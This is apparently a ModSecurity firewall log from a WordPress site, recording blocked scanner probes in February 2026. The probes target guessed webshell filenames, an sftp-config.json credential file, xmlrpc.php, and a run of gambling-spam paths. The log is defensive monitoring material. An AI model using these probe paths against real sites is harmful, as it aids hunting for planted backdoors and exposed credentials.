[Wed Feb 04 00:37:57.717319 2026] [:error] [pid 5148:tid 5165] [client 85.203.21.96:35639] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/database.php"] [unique_id "aYIkZb83HCHLtUIbS7IpSAAAAU4"]
[Wed Feb 04 00:37:58.010229 2026] [:error] [pid 5148:tid 5167] [client 85.203.21.93:38089] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/000.php"] [unique_id "aYIkZr83HCHLtUIbS7IpSQAAAVA"]
[Wed Feb 04 00:37:58.308981 2026] [:error] [pid 42922:tid 43009] [client 85.203.21.107:38849] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/buy.php"] [unique_id "aYIkZmazX4WPS_dQRkjW6AAAAJg"]
[Wed Feb 04 00:37:58.605821 2026] [:error] [pid 5148:tid 5158] [client 85.203.21.143:60829] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/gettest.php"] [unique_id "aYIkZr83HCHLtUIbS7IpSwAAAUc"]
[Wed Feb 04 00:37:58.897292 2026] [:error] [pid 5148:tid 5174] [client 85.203.21.103:35717] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/gettest.php"] [unique_id "aYIkZr83HCHLtUIbS7IpTAAAAVc"]
[Wed Feb 04 00:37:59.188322 2026] [:error] [pid 5148:tid 5151] [client 85.203.21.99:58175] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/wp-good.php"] [unique_id "aYIkZ783HCHLtUIbS7IpTQAAAUA"]
[Wed Feb 04 00:37:59.481609 2026] [:error] [pid 5148:tid 5173] [client 85.203.21.133:62503] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aYIkZ783HCHLtUIbS7IpTgAAAVY"]
[Wed Feb 04 00:37:59.773962 2026] [:error] [pid 43028:tid 43031] [client 85.203.21.143:29381] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/user/index.php"] [unique_id "aYIkZ1nHWnJD4cJC5DsEgQAAAME"]
[Wed Feb 04 00:38:00.072078 2026] [:error] [pid 43028:tid 43036] [client 85.203.21.71:48011] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/pomo/includ.php"] [unique_id "aYIkaFnHWnJD4cJC5DsEgwAAAMY"]
[Wed Feb 04 00:38:00.366595 2026] [:error] [pid 43028:tid 43050] [client 85.203.21.98:39337] [client 85.203.21.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-modules-xxx.php"] [unique_id "aYIkaFnHWnJD4cJC5DsEhQAAANQ"]
[Wed Feb 04 01:16:25.864414 2026] [:error] [pid 42922:tid 42999] [client 134.122.6.46:44664] [client 134.122.6.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.6.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYItaWazX4WPS_dQRkjjGgAAAI4"]
[Wed Feb 04 03:22:01.483992 2026] [:error] [pid 45046:tid 45118] [client 191.96.235.89:54656] [client 191.96.235.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aYJK2WvSJIUuQrHdLyC6HQAAAAc"]
[Wed Feb 04 03:22:06.433942 2026] [:error] [pid 45222:tid 45236] [client 191.96.235.89:54843] [client 191.96.235.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aYJK3kSOPM9Tyuc6DCVUpwAAAMw"]
[Wed Feb 04 04:34:07.975290 2026] [:error] [pid 47577:tid 47605] [client 116.118.2.113:52804] [client 116.118.2.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.118.2.113, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJbv6vA4Yp0Sov-3kTeTwAAABg"]
[Wed Feb 04 04:34:17.574535 2026] [:error] [pid 47676:tid 47678] [client 88.198.14.6:45404] [client 88.198.14.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.198.14.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJbyQrYSkTgZEfUDqFPigAAAMA"]
[Wed Feb 04 04:34:21.374671 2026] [:error] [pid 47676:tid 47686] [client 129.226.82.190:46356] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJbzQrYSkTgZEfUDqFPnQAAAMg"]
[Wed Feb 04 04:34:26.697760 2026] [:error] [pid 47578:tid 47621] [client 87.101.176.211:49374] [client 87.101.176.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.101.176.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJb0p5oatM9u8-yDv_YcwAAAEY"]
[Wed Feb 04 04:34:45.946967 2026] [:error] [pid 47579:tid 47648] [client 54.36.142.130:59878] [client 54.36.142.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.142.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJb5fuxWks846_Vi2yrtQAAAIQ"]
[Wed Feb 04 04:42:38.625062 2026] [:error] [pid 47577:tid 47595] [client 152.228.135.83:44044] [client 152.228.135.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.228.135.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYJdvqvA4Yp0Sov-3kTm3QAAAA4"]
[Wed Feb 04 05:05:07.718713 2026] [:error] [pid 47579:tid 47667] [client 145.239.195.38:35916] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aYJjA_uxWks846_Vi2y6JgAAAJc"]
[Wed Feb 04 05:05:09.631000 2026] [:error] [pid 47578:tid 47628] [client 145.239.195.38:51084] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aYJjBZ5oatM9u8-yDv_n6AAAAE0"]
[Wed Feb 04 05:05:11.727805 2026] [:error] [pid 47676:tid 47678] [client 145.239.195.38:51098] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aYJjBwrYSkTgZEfUDqFfVAAAAMA"]
[Wed Feb 04 05:05:13.976035 2026] [:error] [pid 47577:tid 47586] [client 145.239.195.38:51472] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aYJjCavA4Yp0Sov-3kTuYQAAAAU"]
[Wed Feb 04 05:05:16.063896 2026] [:error] [pid 47577:tid 47585] [client 145.239.195.38:51482] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aYJjDKvA4Yp0Sov-3kTuZAAAAAQ"]
[Wed Feb 04 05:05:18.236971 2026] [:error] [pid 47578:tid 47617] [client 145.239.195.38:51492] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYJjDp5oatM9u8-yDv_n9gAAAEI"]
[Wed Feb 04 05:05:20.182441 2026] [:error] [pid 47577:tid 47589] [client 145.239.195.38:51508] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYJjEKvA4Yp0Sov-3kTuZwAAAAg"]
[Wed Feb 04 05:05:22.197988 2026] [:error] [pid 47579:tid 47660] [client 145.239.195.38:51516] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYJjEvuxWks846_Vi2y6MgAAAJA"]
[Wed Feb 04 05:05:24.174333 2026] [:error] [pid 47577:tid 47596] [client 145.239.195.38:40656] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYJjFKvA4Yp0Sov-3kTuaQAAAA8"]
[Wed Feb 04 05:05:26.061631 2026] [:error] [pid 47676:tid 47700] [client 145.239.195.38:40670] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYJjFgrYSkTgZEfUDqFfZgAAANY"]
[Wed Feb 04 05:05:28.007231 2026] [:error] [pid 47577:tid 47601] [client 145.239.195.38:40680] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYJjGKvA4Yp0Sov-3kTubwAAABQ"]
[Wed Feb 04 05:05:29.910771 2026] [:error] [pid 18816:tid 18842] [client 145.239.195.38:40688] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYJjGcszZcOol_Iv-0UmzwAAARc"]
[Wed Feb 04 05:05:32.045751 2026] [:error] [pid 47577:tid 47590] [client 145.239.195.38:40700] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYJjHKvA4Yp0Sov-3kTudQAAAAk"]
[Wed Feb 04 05:05:34.164379 2026] [:error] [pid 47676:tid 47680] [client 145.239.195.38:39380] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYJjHgrYSkTgZEfUDqFfbgAAAMI"]
[Wed Feb 04 05:05:36.177557 2026] [:error] [pid 47579:tid 47646] [client 145.239.195.38:39384] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYJjIPuxWks846_Vi2y6PQAAAII"]
[Wed Feb 04 05:05:38.252934 2026] [:error] [pid 47579:tid 47645] [client 145.239.195.38:39388] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYJjIvuxWks846_Vi2y6PwAAAIE"]
[Wed Feb 04 05:05:40.217871 2026] [:error] [pid 47578:tid 47631] [client 145.239.195.38:39390] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYJjJJ5oatM9u8-yDv_oDgAAAFA"]
[Wed Feb 04 05:05:42.308373 2026] [:error] [pid 47676:tid 47684] [client 145.239.195.38:39406] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYJjJgrYSkTgZEfUDqFfdQAAAMY"]
[Wed Feb 04 05:05:44.442043 2026] [:error] [pid 47579:tid 47658] [client 145.239.195.38:52978] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYJjKPuxWks846_Vi2y6RgAAAI4"]
[Wed Feb 04 05:05:46.695345 2026] [:error] [pid 47577:tid 47588] [client 145.239.195.38:52994] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYJjKqvA4Yp0Sov-3kTugQAAAAc"]
[Wed Feb 04 05:05:48.760828 2026] [:error] [pid 47676:tid 47679] [client 145.239.195.38:53008] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYJjLArYSkTgZEfUDqFfewAAAME"]
[Wed Feb 04 05:05:50.847649 2026] [:error] [pid 47577:tid 47603] [client 145.239.195.38:53012] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYJjLqvA4Yp0Sov-3kTuhwAAABY"]
[Wed Feb 04 05:05:52.708591 2026] [:error] [pid 47577:tid 47602] [client 145.239.195.38:53016] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYJjMKvA4Yp0Sov-3kTuigAAABU"]
[Wed Feb 04 05:05:54.774313 2026] [:error] [pid 47578:tid 47621] [client 145.239.195.38:38808] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYJjMp5oatM9u8-yDv_oGgAAAEY"]
[Wed Feb 04 05:05:56.961560 2026] [:error] [pid 47578:tid 47625] [client 145.239.195.38:38822] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYJjNJ5oatM9u8-yDv_oGwAAAEo"]
[Wed Feb 04 05:05:59.020110 2026] [:error] [pid 47579:tid 47646] [client 145.239.195.38:38834] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYJjN_uxWks846_Vi2y6TQAAAII"]
[Wed Feb 04 05:06:00.888973 2026] [:error] [pid 47676:tid 47698] [client 145.239.195.38:38850] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYJjOArYSkTgZEfUDqFfhQAAANQ"]
[Wed Feb 04 05:06:03.146717 2026] [:error] [pid 47578:tid 47619] [client 145.239.195.38:38860] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYJjO55oatM9u8-yDv_oHQAAAEQ"]
[Wed Feb 04 05:08:43.832957 2026] [:error] [pid 47676:tid 47689] [client 145.239.195.38:52432] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aYJj2wrYSkTgZEfUDqFgegAAAMs"]
[Wed Feb 04 05:08:46.044210 2026] [:error] [pid 18816:tid 18827] [client 145.239.195.38:59776] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aYJj3sszZcOol_Iv-0UnygAAAQg"]
[Wed Feb 04 05:08:48.313621 2026] [:error] [pid 47676:tid 47690] [client 145.239.195.38:59790] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aYJj4ArYSkTgZEfUDqFghgAAAMw"]
[Wed Feb 04 05:08:50.272562 2026] [:error] [pid 47577:tid 47589] [client 145.239.195.38:59798] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aYJj4qvA4Yp0Sov-3kTvcAAAAAg"]
[Wed Feb 04 05:08:52.247196 2026] [:error] [pid 18816:tid 18831] [client 145.239.195.38:59812] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aYJj5MszZcOol_Iv-0UnzwAAAQw"]
[Wed Feb 04 05:08:54.367631 2026] [:error] [pid 47676:tid 47683] [client 145.239.195.38:44358] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYJj5grYSkTgZEfUDqFgjwAAAMU"]
[Wed Feb 04 05:08:56.482003 2026] [:error] [pid 18816:tid 18828] [client 145.239.195.38:44366] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYJj6MszZcOol_Iv-0Un1AAAAQk"]
[Wed Feb 04 05:08:58.551297 2026] [:error] [pid 47578:tid 47618] [client 145.239.195.38:44378] [client 145.239.195.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYJj6p5oatM9u8-yDv_onwAAAEM"]
